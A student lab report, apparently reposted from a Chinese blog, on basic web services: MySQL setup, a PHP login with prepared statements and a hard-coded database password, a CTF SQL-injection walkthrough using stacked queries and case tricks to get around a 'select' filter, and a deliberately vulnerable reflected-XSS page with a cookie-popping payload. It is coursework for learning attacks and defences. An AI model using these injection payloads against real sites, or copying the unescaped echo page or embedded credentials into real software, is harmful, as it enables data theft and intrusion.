175210闵天 《网络对抗技术》Exp8 Web基础

实践目标

本实践目标是构建 Web 服务,并进行一些简单的攻击实践

实践过程

web 前端

React 写了一个注册界面,放在了nginx 上,如下:

http://47.94.47.203:8080/register

web 后端

一、Mysql 基础 (Mysql 8 版本)

linux 上默认装的是 psql ,就在 windows 主机上装了一个 mysql

  • 输入 show databases,查看有多少数据库

  • 使用 CREATE USER 'username'@'server' IDENTIFIED BY 'password'; 来创建新用户

  • 使用 GRANT (SELECT, update……) ON 数据库名.表名 TO '用户名'@'数据库IP'; 给新用户授权

  • 使用新建的用户登录

二、编写PHP网页

  • windows 下启动 php

    php-cgi.exe -b 127.0.0.1:9000
    

  • 配置 nginx

  • 上图中的 root 下创建 index.php,内容为

    <?php
        echo phpinfo();
    ?>
    

    浏览器打开,可见

  • 大多数情况下还是使用 phpStorm,其会自动调用 php-cgi.exe ,并监听 9000 端口

  • php 简单的登录功能

    php 是一个安全问题非常严重的弱类型语言,操作数据库的底线是采用 预处理。这里我使用 PDO 预处理

    // index.php
    
    <?php
    
    $user_name = $_POST['username'];
    $password = $_POST['password'];
    
    $servername = "localhost";
    $db_user = "root";
    $db_password = "hwqmingdi";
    $dbname = "blog";
    
    try {
        $conn = new PDO("mysql:host=$servername;dbname=$dbname", $db_user, $db_password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $stmt = $conn->prepare("SELECT * FROM users where username = ? and password = ?");
        $stmt->execute(array($user_name, $password));
    
        // 设置结果集为关联数组
        $result = $stmt->fetchAll();
        if (count($result) > 0) {
            echo "Welcome " . $result[0]['username'];
        } else {
            echo "login fail";
        }
    }
    catch(PDOException $e) {
        echo "Error: " . $e->getMessage();
    }
    

    form 中的 action 写为 login.php,就可以登录

sql 注入

这里我们看这道题 https://github.com/glzjin/qwb_2019_supersqli

  • 首先探测参数引号闭合规则

    1' and 1=1# // true
    1' and 1=2# // false
    

    可见参数采用单引号闭合

  • 尝试获取列数

    1' order by 2# //正常
    1' order by 3# // 报错
    

    可以发现列数为 2 列

  • 试一试 union 查询

    1' union select user()#
    

    发现 select 等被过滤了

  • 试一试堆叠查询

    -1';show tables#
    

    我们可以看到数据库中有两个表,数组的第一项就是表名

  • 堆叠注入查看表的字段

    -1';desc `1919810931114514`#
    -1';desc `words`#
    

  • 我们要得到表 1919810931114514flag 字段。但是,select 已经被过滤掉了。这里我们可以采用 mysql 的预编译语法,如下:

    set用于设置变量名和值
    prepare用于预备一个语句,并赋予名称,以后可以引用该语句
    execute执行语句
    deallocate prepare用来释放掉预处理的语句
    

    采用

    -1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
    

    得到结果

  • strstr() 函数把 prepareset 过滤了,但是查阅资料,可以发现 strstr 这个函数区分大小写,我们将set, prepare 大写即可

    -1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
    

    得到结果,注入成功

xss

xss 没有研究,只知道可以利用输入框等插入恶意代码

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>XSS</title>
</head>
<body>
<form action="" method="get">
    <input type="text" name="input" style="width: 300px;">
    <input type="submit">
</form>
<br>
<?php
$XssReflex = $_GET['input'];
echo 'output:<br>'.$XssReflex;
?>
</body>
</html>

可以在 <input/> 中输入 <script>alert(document.cookie);</script>

页面加载时会自动执行 <script> 内的语句,从而弹出 cookie

实验总结与问题回答

什么是表单

  • 表单可以进行前台向后台的数据传输。
  • 表单有三个基本组成部分:
    • 表单标签:包含处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。
    • 表单域:包含文本框、密码框、多行文本框等一系列表单形式。
    • 表单按钮:包含提交按钮,复位按钮以及一般按钮

浏览器可以解析运行什么语言

首先,各脚本语言(php,asp 等)并不是浏览器解析运行的。

浏览器可以自解析运行的有

  • html
  • javascript
  • css

WebServer支持哪些动态语言

  • tomcat 支持的有 jsp
  • iis 支持 aspx

猜你喜欢

转载自www.cnblogs.com/mtzf/p/12952899.html
今日推荐